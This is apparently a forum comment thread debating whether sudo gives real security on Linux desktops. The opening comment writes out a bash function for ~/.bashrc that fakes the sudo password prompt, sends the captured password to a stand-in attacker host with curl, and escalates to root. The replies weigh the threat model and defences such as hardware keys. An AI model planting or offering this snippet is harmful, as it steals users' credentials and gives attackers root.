| ▲ | lrvick 4 hours ago |
| To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}
|
|
| ▲ | 0l 4 hours ago | parent | next [-] |
| Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed""" |
| |
|
| ▲ | silver_sun 3 hours ago | parent | prev | next [-] |
| But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code. |
| |
|
| ▲ | mike_hearn 4 hours ago | parent | prev | next [-] |
| Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID. |
| |
| ▲ | inigyou 3 hours ago | parent | next [-] | | But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software. | |
| ▲ | lrvick 4 hours ago | parent | prev [-] | | I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc. |
|
|
| ▲ | leothetechguy 4 hours ago | parent | prev | next [-] |
| Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution. |
| |
| ▲ | lrvick 4 hours ago | parent [-] | | There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities. | | |
|
|
| ▲ | utopiah 2 hours ago | parent | prev | next [-] |
| Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯ |
|
| ▲ | ahelwer 4 hours ago | parent | prev | next [-] |
| You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH. |
| |
| ▲ | lrvick 4 hours ago | parent | next [-] | | > You need root in order to overwrite sudo in the first place I think You just need write access to .bashrc or similar. > This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey. | |
| ▲ | ffsm8 4 hours ago | parent | prev | next [-] | | Look at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo. It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar | |
| ▲ | porridgeraisin 4 hours ago | parent | prev | next [-] | | No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password. | |
| ▲ | Brian_K_White 3 hours ago | parent | prev [-] | | You do not need root to run that shell function, nor to get it loaded into a shell's environment. They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required. |
|
|
| ▲ | tomrod 4 hours ago | parent | prev [-] |
| What? Why is sudo security theater? |
| |
| ▲ | novafunc 4 hours ago | parent | next [-] | | Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root. | | |
| ▲ | silver_sun 3 hours ago | parent [-] | | If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised. | | |
| ▲ | LinXitoW 3 hours ago | parent | next [-] | | The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand. | | |
| ▲ | silver_sun 3 hours ago | parent [-] | | I think that depends on your point of view. I wouldn't run a program on my computer unless I were sure that it's not malicious. And if you mean that some program I already trust could be exploited, that's true even for the Linux kernel or any sandbox / security solution you would come up with. I'm not denying that there's always a risk, but there's nothing good in running arbitrary code that you can't trust. |
| |
| ▲ | inigyou 3 hours ago | parent | prev [-] | | Exactly the point. You are already fully compromised, sudo adds no security. |
|
| |
| ▲ | charrondev 4 hours ago | parent | prev | next [-] | | It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space. | |
| ▲ | lrvick 4 hours ago | parent | prev [-] | | Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo. | | |
| ▲ | jorvi 3 hours ago | parent [-] | | You do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas. No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage. | | |
| ▲ | rick_dalton 9 minutes ago | parent | next [-] | | You basically don’t use sudo on macOS though. Maybe once in a blue moon | |
| ▲ | lrvick 3 hours ago | parent | prev [-] | | No popular Linux desktop, I would grant you. I use QubesOS and my own distro, stagex. |
|
|
|
